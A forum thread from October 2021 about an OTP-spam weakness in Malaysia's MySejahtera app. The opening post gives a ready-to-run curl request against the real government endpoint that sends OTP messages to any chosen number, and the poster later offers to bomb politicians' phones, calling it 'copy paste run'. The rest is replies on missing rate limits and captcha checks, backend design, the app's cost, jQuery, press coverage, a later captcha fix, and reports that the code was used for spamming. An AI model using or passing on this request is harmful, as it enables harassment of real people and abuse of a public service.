Welcome Guest ( Log In | Register )

Outline · [ Standard ] · Linear+

 MySejahtera Not So Sejahtera, Full of Exploits

views
     
TSDarkripper
post Oct 18 2021, 01:51 PM, updated 5y ago

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
You can instruct "MySejahtera" to spam OTP to others at will. Just run the following code at terminal of choice and change contact number (Window user pandai pandai tukar la )

CODE
curl --location --request POST 'https://mysejahtera.malaysia.gov.my/checkin/registerPhone' \
--form 'countryCode="60"' \
--form 'contactNumber="12345678"'

imin
post Oct 18 2021, 02:04 PM

Enthusiast
*****
Senior Member
818 posts

Joined: Jan 2003
I'm not testing if this really work, but if it is, then the backend looks like it's developed by some intern IT student
DarkAeon
post Oct 18 2021, 02:06 PM

Enthusiast
*****
Senior Member
774 posts

Joined: Nov 2010
QUOTE(imin @ Oct 18 2021, 02:04 PM)
I'm not testing if this really work, but if it is, then the backend looks like it's developed by some intern IT student
*
70 mil yo
moonsatelite
post Oct 18 2021, 02:07 PM

Enthusiast
*****
Junior Member
737 posts

Joined: Mar 2016
Which is why my friend uses a throwaway email as MySejahtera ID
kidmad
post Oct 18 2021, 02:08 PM

Look at all my stars!!
*******
Senior Member
4,481 posts

Joined: Jul 2005
this api should not even be exposed! it's supposed to be called by a backend module! ..
Doomsday
post Oct 18 2021, 02:11 PM

keluarpattern dupe slayer
*******
Senior Member
2,491 posts

Joined: Dec 2004
From: initrd


mafioso yuno do properly backend
WaCKy-Angel
post Oct 18 2021, 02:12 PM

PeACe~~
*********
All Stars
21,961 posts

Joined: Dec 2004
From: KL



QUOTE(Darkripper @ Oct 18 2021, 01:51 PM)
You can instruct "MySejahtera" to spam OTP to others at will. Just run the following code at terminal of choice and change contact number (Window user pandai pandai tukar la )

CODE
curl --location --request POST 'https://mysejahtera.malaysia.gov.my/checkin/registerPhone' \
--form 'countryCode="60"' \
--form 'contactNumber="12345678"'

*
do u even need exploit?

ayam thought u can just try login with the number and the app will send otp?
TSDarkripper
post Oct 18 2021, 02:13 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(imin @ Oct 18 2021, 02:04 PM)
I'm not testing if this really work, but if it is, then the backend looks like it's developed by some intern IT student
*
Go ahead and try, the URL is legit anyways. Can use Postman or other tools as well, as long as you send that form-data, it works. These mistake are worse than interns lol.

QUOTE(kidmad @ Oct 18 2021, 02:08 PM)
this api should not even be exposed! it's supposed to be called by a backend module! ..
*
They kinda forget to verify the captcha actually. They have Captcha at the page, but backend doesn't verify that token.
WaCKy-Angel
post Oct 18 2021, 02:14 PM

PeACe~~
*********
All Stars
21,961 posts

Joined: Dec 2004
From: KL



QUOTE(imin @ Oct 18 2021, 02:04 PM)
I'm not testing if this really work, but if it is, then the backend looks like it's developed by some intern IT student
*
What do u expect when it is already doing what it is supposed to do?

Do u know u can also do similar spam otp with whatsapp?

get ur enemy whatsapp phone number and try login with the number..that person will keep getting otp spam to his phone.
TSDarkripper
post Oct 18 2021, 02:15 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(WaCKy-Angel @ Oct 18 2021, 02:12 PM)
do u even need exploit?

ayam thought u can just try login with the number and the app will send otp?
*
There are no rate limit, meaning you can repeatedly keep on request OTP with a simple scripts.

Triggering OTP is not the issue, the issue is lack of Authentication/Authorization token. Maybe that's the implementor have the same thought as you.

Also, the OTP token never change, at least for the past 19 hours that i had been spamming myself.

This post has been edited by Darkripper: Oct 18 2021, 02:16 PM
ShadowR1
post Oct 18 2021, 02:23 PM

Im still HeRe ...
******
Senior Member
1,879 posts

Joined: Jan 2007
From: The Long river ...


Its a 70mil feature la ...
kidmad
post Oct 18 2021, 02:23 PM

Look at all my stars!!
*******
Senior Member
4,481 posts

Joined: Jul 2005
QUOTE(Darkripper @ Oct 18 2021, 02:13 PM)
Go ahead and try, the URL is legit anyways. Can use Postman or other tools as well, as long as you send that form-data, it works. These mistake are worse than interns lol.
They kinda forget to verify the captcha actually. They have Captcha at the page, but backend doesn't verify that token.
*
to send notification they can just use something like big ip f5 to whitelist only allowed IP address could access the endpoints. infact just build the service separate and segregation between internal and external network.
WaCKy-Angel
post Oct 18 2021, 02:24 PM

PeACe~~
*********
All Stars
21,961 posts

Joined: Dec 2004
From: KL



QUOTE(Darkripper @ Oct 18 2021, 02:15 PM)
There are no rate limit, meaning you can repeatedly keep on request OTP with a simple scripts.

Triggering OTP is not the issue, the issue is lack of Authentication/Authorization token. Maybe that's the implementor have the same thought as you.

Also, the OTP token never change, at least for the past 19 hours that i had been spamming myself.
*
A simple captcha will not be sufficient to block hacker.

Anyway security vs convenient has always been a mouse and cat game. The more u do the more hacker wants to find exploit lol.
TSDarkripper
post Oct 18 2021, 02:27 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(kidmad @ Oct 18 2021, 02:23 PM)
to send notification they can just use something like big ip f5 to whitelist only allowed IP address could access the endpoints. infact just build the service separate and segregation between internal and external network.
*
They can't do that, as that's the endpoint that client side is calling to trigger it. Eaiest way is just to rate limit + some kind of Captcha. That would reduce the exposure to an acceptable limit.

QUOTE(WaCKy-Angel @ Oct 18 2021, 02:24 PM)
A simple captcha will not be sufficient to block hacker.

Anyway security vs convenient has always been a mouse and cat game. The more u do the more hacker wants to find exploit lol.
*
It wont solve all, but it reduces the exposure.
jmas
post Oct 18 2021, 02:29 PM

I can edit title???
*****
Junior Member
828 posts

Joined: Mar 2010
QUOTE(DarkAeon @ Oct 18 2021, 02:06 PM)
70 mil yo
*
i tot already debunked that 70mil does not include mysejahtera?
kons
post Oct 18 2021, 02:32 PM

Конс
Group Icon
Moderator
6,179 posts

Joined: Oct 2004



tengine webserver...

twitter bootstrap.. google font api... owl carousel.. jquery...

all free stuff but cost 70m... thanks to our competent gomen.
WaCKy-Angel
post Oct 18 2021, 02:34 PM

PeACe~~
*********
All Stars
21,961 posts

Joined: Dec 2004
From: KL



QUOTE(Darkripper @ Oct 18 2021, 02:27 PM)
They can't do that, as that's the endpoint that client side is calling to trigger it. Eaiest way is just to rate limit + some kind of Captcha. That would reduce the exposure to an acceptable limit.
It wont solve all, but it reduces the exposure.
*
iinm mysejahtera was developed merely for check-in purposes but now has become more important.
ofcourse security wise is not top priority back then.

Why not u tweet KJ about this and see what actions he will take?
TSDarkripper
post Oct 18 2021, 02:37 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(jmas @ Oct 18 2021, 02:29 PM)
i tot already debunked that 70mil does not include mysejahtera?
*
Cost is not the question here. This is a critical app required by most residents in Malaysia, cannot compromise on security yo. Imagine a data-breach?


QUOTE(kons @ Oct 18 2021, 02:32 PM)
tengine webserver...

twitter bootstrap.. google font api... owl carousel.. jquery...

all free stuff but cost 70m... thanks to our competent gomen.
*
I see you're man of culture here. Jquery hurts my eye tho.
TSDarkripper
post Oct 18 2021, 02:37 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(WaCKy-Angel @ Oct 18 2021, 02:34 PM)
iinm mysejahtera was developed merely for check-in purposes but now has become more important.
ofcourse security wise is not top priority back then.

Why not u tweet KJ about this and see what actions he will take?
*
tweeted, still no news yet. So yeah
WaCKy-Angel
post Oct 18 2021, 02:38 PM

PeACe~~
*********
All Stars
21,961 posts

Joined: Dec 2004
From: KL



QUOTE(Darkripper @ Oct 18 2021, 02:37 PM)
tweeted, still no news yet. So yeah
*
slowly lah wait he think of a good cum back like dajjal hahahaha

who knows later he will employ u as their Security consultant eh
TSDarkripper
post Oct 18 2021, 02:40 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(WaCKy-Angel @ Oct 18 2021, 02:38 PM)
slowly lah wait he think of a good cum back like dajjal hahahaha

who knows later he will employ u as their Security consultant eh
*
Btw seems like the dev is fixing, some of the other exploits is getting patched. But still doesn't give much confidence when they don't acknowledge it.

This post has been edited by Darkripper: Oct 18 2021, 02:40 PM
jmas
post Oct 18 2021, 02:43 PM

I can edit title???
*****
Junior Member
828 posts

Joined: Mar 2010
QUOTE(Darkripper @ Oct 18 2021, 02:37 PM)
Cost is not the question here. This is a critical app required by most residents in Malaysia, cannot compromise on security yo. Imagine a data-breach?
I see you're man of culture here. Jquery hurts my eye tho.
*
not denying the app is critical, just correcting the fact that ppl thought the apps cost 70mil to develop and discounting the effort of the developers
but the truth is the developer was doing this for free (initially) and I think only officially get paid around end of last year/early this year

TSDarkripper
post Oct 18 2021, 02:46 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(jmas @ Oct 18 2021, 02:43 PM)
not denying the app is critical, just correcting the fact that ppl thought the apps cost 70mil to develop and discounting the effort of the developers
but the truth is the developer was doing this for free (initially) and I think only officially get paid around end of last year/early this year
*
Good to do it for free, the issue is on Govt for not ensuring quality in such a critical application. Devs are probably getting squeezed also la.
WaCKy-Angel
post Oct 18 2021, 02:51 PM

PeACe~~
*********
All Stars
21,961 posts

Joined: Dec 2004
From: KL



QUOTE(jmas @ Oct 18 2021, 02:43 PM)
not denying the app is critical, just correcting the fact that ppl thought the apps cost 70mil to develop and discounting the effort of the developers
but the truth is the developer was doing this for free (initially) and I think only officially get paid around end of last year/early this year
*
user posted image


Pls lah nobody do things for FREE
AssToast
post Oct 18 2021, 03:03 PM

Rarely on Lowyat
******
Senior Member
1,618 posts

Joined: Jun 2012
QUOTE(Darkripper @ Oct 18 2021, 02:46 PM)
Good to do it for free, the issue is on Govt for not ensuring quality in such a critical application. Devs are probably getting squeezed also la.
*
Govt probably has no idea what or how to manage. When app first released, looked like uni project. Now probably still no QA or code review, Dev just fix when people complain.
kidmad
post Oct 18 2021, 08:19 PM

Look at all my stars!!
*******
Senior Member
4,481 posts

Joined: Jul 2005
QUOTE(Darkripper @ Oct 18 2021, 02:27 PM)
They can't do that, as that's the endpoint that client side is calling to trigger it. Eaiest way is just to rate limit + some kind of Captcha. That would reduce the exposure to an acceptable limit.

client side to trigger? it don't work that way. the service i work on sents millions of sms daily. we are the one triggering to an end point expose by the provider. mysejahtera would have the list of contact on their end. all they need to do is periodically send the sms via to end point expose by the few operator we have.

if it's really trigger by us who has mysejahtera that's stupid
rooney723
post Oct 18 2021, 08:32 PM

On my way
****
Junior Member
596 posts

Joined: Dec 2010

and i can bet with you that the gomen will not give a single fuck about this, just diam diam only, look at what happen to the recent LHDN data breach? whistling.gif
Syeikh Ruler al-Hotzz
post Oct 18 2021, 09:59 PM

New Member
*
Junior Member
5 posts

Joined: Oct 2021
Mysengsara
TSDarkripper
post Oct 18 2021, 11:13 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(kidmad @ Oct 18 2021, 08:19 PM)
client side to trigger? it don't work that way. the service i work on sents millions of sms daily. we are the one triggering to an end point expose by the provider. mysejahtera would have the list of contact on their end. all they need to do is periodically send the sms via to end point expose by the few operator we have.

if it's really trigger by us who has mysejahtera that's stupid
*
you're talking about their backend implementation, which is out-of-reach. Client trigger mysejahtera, which in turn they forward it to provider. It doesn't matter how the backend is implemented if they open their doors wide open.


AyamBlend
post Oct 19 2021, 12:16 AM

New Member
*
Junior Member
27 posts

Joined: Nov 2011
Time to retire this app as More abuse being seen especially for enforcement.
Business operator don't even recognize kad vaksin and writing on the book
PleaseEnterYourName
post Oct 19 2021, 12:56 AM

Casual
***
Junior Member
386 posts

Joined: Jan 2006
From: between 0 and 1


since when malaysian care about security? leakers everywhere.
silverhawk
post Oct 19 2021, 01:17 AM

Eyes on Target
Group Icon
Elite
4,955 posts

Joined: Jan 2003


Well this is technically not security, more like unintended use of service.

Simplest solution to this is to only allow one OTP to be sent in x amount of minutes to a single number.
TruboXL
post Oct 19 2021, 01:23 AM

Keep on keeping on! 👍
******
Senior Member
1,050 posts

Joined: Jan 2016
From: Land of floods, Kota Tinggi


Spamming KJ phone number will ruckle some feathers
WinkyJr
post Oct 19 2021, 02:29 AM

Casual
***
Junior Member
430 posts

Joined: Jul 2010

like this?

user posted image
God Grid
post Oct 19 2021, 02:33 AM

New Member
*
Junior Member
35 posts

Joined: Aug 2021
QUOTE(kons @ Oct 18 2021, 02:32 PM)
tengine webserver...

twitter bootstrap.. google font api... owl carousel.. jquery...

all free stuff but cost 70m... thanks to our competent gomen.
*
QUOTE(Darkripper @ Oct 18 2021, 02:37 PM)
Cost is not the question here. This is a critical app required by most residents in Malaysia, cannot compromise on security yo. Imagine a data-breach?
I see you're man of culture here. Jquery hurts my eye tho.
*
What's wrong with jQuery? Hmmm...
IJustWantToAsk
post Oct 19 2021, 02:37 AM

Getting Started
**
Junior Member
216 posts

Joined: May 2019
If you want, go bombard those politicians phone number

See if this really works
TSDarkripper
post Oct 19 2021, 02:46 AM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(TruboXL @ Oct 19 2021, 01:23 AM)
Spamming KJ phone number will ruckle some feathers
*
QUOTE(IJustWantToAsk @ Oct 19 2021, 02:37 AM)
If you want, go bombard those politicians phone number

See if this really works
*
PM me their number lor. Its a curl command, you can try it for yourself. Its pretty much copy paste run.

QUOTE(God Grid @ Oct 19 2021, 02:33 AM)
What's wrong with jQuery? Hmmm...
*
Its time had passed. tongue.gif


God Grid
post Oct 19 2021, 02:47 AM

New Member
*
Junior Member
35 posts

Joined: Aug 2021
QUOTE(Darkripper @ Oct 19 2021, 02:46 AM)
PM me their number lor. Its a curl command, you can try it for yourself. Its pretty much copy paste run.
Its time had passed.  tongue.gif
*
How bad is it? I dunno frontend, so no idea

I mean, there are other frameworks like React, Vue and Angular, but those are not UI only right?
TSDarkripper
post Oct 19 2021, 02:51 AM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(God Grid @ Oct 19 2021, 02:47 AM)
How bad is it? I dunno frontend, so no idea

I mean, there are other frameworks like React, Vue and Angular, but those are not UI only right?
*
jquery is top go-to library when everyone is manually manipulating HTML elements for frontend, it is easier to use than vanilla JS. It is not bad, just it is not that relevant anymore.

Then SPA like Angular, React comes along, which is easier to code, a little bit more structured and efficient. The best thing about SPA is there is less page refresh, providing a better UX.

Now you even have Vue, Svelte, SolidJS which is trying to overtake React.

Its not just for UI, but for client-side aka frontend to render and do whatever it needs to (communicate with server, service worker to run some shit in the background)

This post has been edited by Darkripper: Oct 19 2021, 02:52 AM
ihm11
post Oct 19 2021, 03:23 AM

Getting Started
**
Junior Member
62 posts

Joined: Apr 2018
pay peanuts get [______]
kidmad
post Oct 19 2021, 08:47 AM

Look at all my stars!!
*******
Senior Member
4,481 posts

Joined: Jul 2005
QUOTE(Darkripper @ Oct 18 2021, 11:13 PM)
you're talking about their backend implementation, which is out-of-reach. Client trigger mysejahtera, which in turn they forward it to provider. It doesn't matter how the backend is implemented if they open their doors wide open.
*
the way u put it there is somethg so wrong in term of the app design. the request should trigger a notification and queue the request somewhere instead of client calling the service immediately. anyway 0 marks to the application design in this case
PzGman
post Oct 19 2021, 08:55 AM

Private Pilot
*****
Junior Member
828 posts

Joined: Jun 2012
From: Petaling Jaya


no offense but that app is crap lol
God Grid
post Oct 19 2021, 10:37 AM

New Member
*
Junior Member
35 posts

Joined: Aug 2021
QUOTE(Darkripper @ Oct 19 2021, 02:51 AM)
jquery is top go-to library when everyone is manually manipulating HTML elements for frontend, it is easier to use than vanilla JS.  It is not bad, just it is not that relevant anymore.

Then SPA like Angular, React comes along, which is easier to code, a little bit more structured and efficient. The best thing about SPA is there is less page refresh, providing a better UX.

Now you even have Vue, Svelte, SolidJS which is trying to overtake React.

Its not just for UI, but for client-side aka frontend to render and do whatever it needs to (communicate with server, service worker to run some shit in the background)
*
yea, jQuery have been more than 10 years? 20 years? but got Ajax ma ahahahahaha

only used Vue for their UI like the Vuetify.

Now it's all about single page application. everything click click click, no idea if it's going to next page or previous page or anything
deejay_krish
post Oct 19 2021, 10:48 AM

You're Just Another Part Of Me
******
Senior Member
1,015 posts

Joined: Jul 2005
From: Neverland
so called 70mil
WaCKy-Angel
post Oct 20 2021, 11:52 AM

PeACe~~
*********
All Stars
21,961 posts

Joined: Dec 2004
From: KL



QUOTE(Darkripper @ Oct 18 2021, 01:51 PM)
You can instruct "MySejahtera" to spam OTP to others at will. Just run the following code at terminal of choice and change contact number (Window user pandai pandai tukar la )

CODE
curl --location --request POST 'https://mysejahtera.malaysia.gov.my/checkin/registerPhone' \
--form 'countryCode="60"' \
--form 'contactNumber="12345678"'

*
https://www.malaymail.com/news/malaysia/202...res-why/2014651

ur doing? lol
kons
post Oct 20 2021, 12:06 PM

Конс
Group Icon
Moderator
6,179 posts

Joined: Oct 2004



QUOTE(WaCKy-Angel @ Oct 20 2021, 11:52 AM)
yeah someone spam my number with sj otp and i send the screenshot to their helpdesk
diffyhelman2
post Oct 20 2021, 01:19 PM

Enthusiast
*****
Junior Member
863 posts

Joined: Apr 2019
QUOTE(WaCKy-Angel @ Oct 20 2021, 11:52 AM)
LOL, beat me to it:

https://www.freemalaysiatoday.com/category/...ys-mysejahtera/
C-Fu
post Oct 20 2021, 01:38 PM

Ninja-Fu
******
Senior Member
1,051 posts

Joined: Apr 2005
From: Brisbane, QLD, Ostolia



QUOTE(Darkripper @ Oct 18 2021, 02:27 PM)
They can't do that, as that's the endpoint that client side is calling to trigger it. Eaiest way is just to rate limit + some kind of Captcha. That would reduce the exposure to an acceptable limit.
It wont solve all, but it reduces the exposure.
*
seems like got captcha now

user posted image
klangboy83
post Oct 20 2021, 03:01 PM

Casual
***
Junior Member
438 posts

Joined: Apr 2007
5 Unicorns by 2025 whistling.gif
flexyx
post Oct 20 2021, 03:04 PM

Getting Started
**
Junior Member
226 posts

Joined: Jun 2009

dah tak boleh

This post has been edited by flexyx: Oct 20 2021, 03:04 PM
Hobbez
post Oct 20 2021, 03:09 PM

Regular
******
Senior Member
1,227 posts

Joined: Dec 2009
Does anyone think it can send your data to any third parties?

I don't even want to go there....wink.gif


brkli
post Oct 20 2021, 04:05 PM

On my way
****
Junior Member
591 posts

Joined: Oct 2018
kesian TS...
ye0073
post Oct 20 2021, 04:08 PM

Casual
***
Junior Member
477 posts

Joined: Sep 2004
Some one using the TS code and doing spam liao.
Need to report police.
TSDarkripper
post Oct 20 2021, 04:46 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(brkli @ Oct 20 2021, 04:05 PM)
kesian TS...
*
What?
PJng
post Oct 20 2021, 06:14 PM

10k Club
********
All Stars
12,039 posts

Joined: Oct 2017


Ts, you are on front lyn news

https://www.lowyat.net/2021/256199/mysejaht...-spam-api-weak/
IamNOT
post Oct 21 2021, 10:40 AM

Getting Started
**
Junior Member
283 posts

Joined: Aug 2008
From: Malacca


Fxxk... The change email/phone no do not require verification from old email/phone no..... Security 404... Use throw away email also useless...
TSDarkripper
post Oct 21 2021, 02:57 PM

What do you expect?
******
Senior Member
1,258 posts

Joined: Dec 2008
From: /k/
QUOTE(IamNOT @ Oct 21 2021, 10:40 AM)
Fxxk... The change email/phone no do not require verification from old email/phone no..... Security 404... Use throw away email also useless...
*
aiya, they say its a feature that get exposed. lel... *FEATURE*.

Btw they haven't fix yet also, just add reCAPTCHA, which can be solved using API also
emburrar
post Oct 21 2021, 02:58 PM

New Member
*
Newbie
14 posts

Joined: Oct 2014
From: Bandar Damai dan Indah


Ular kj jawab
filage
post Dec 25 2021, 10:38 AM

Regular
******
Senior Member
1,205 posts

Joined: Aug 2014
Got anyway to make the mysejahtera load faster? If just want to show the fully vaccinated page also take quite 10-15 seconds to load, any workaround to make it faster?
PJng
post Dec 25 2021, 11:04 AM

10k Club
********
All Stars
12,039 posts

Joined: Oct 2017


QUOTE(filage @ Dec 25 2021, 10:38 AM)
Got anyway to make the mysejahtera load faster? If just want to show the fully vaccinated page also take quite 10-15 seconds to load, any workaround to make it faster?
*
Turn off data, more faster
LuckyLim
post Jun 21 2022, 04:40 PM

Getting Started
**
Junior Member
145 posts

Joined: Dec 2021
Anyone have issue logged in?
I used create email and phone number and password.
But still say error " Invalid user ID or password.

I tried the forget password, and changed new one, even it mentioned changed success.
But When I tried to login.
Still having Error " Invalid user ID or password."
Any Ideas?

 

Change to:
| Lo-Fi Version
0.0230sec    0.95    5 queries    GZIP Disabled
Time is now: 24th November 2025 - 04:19 PM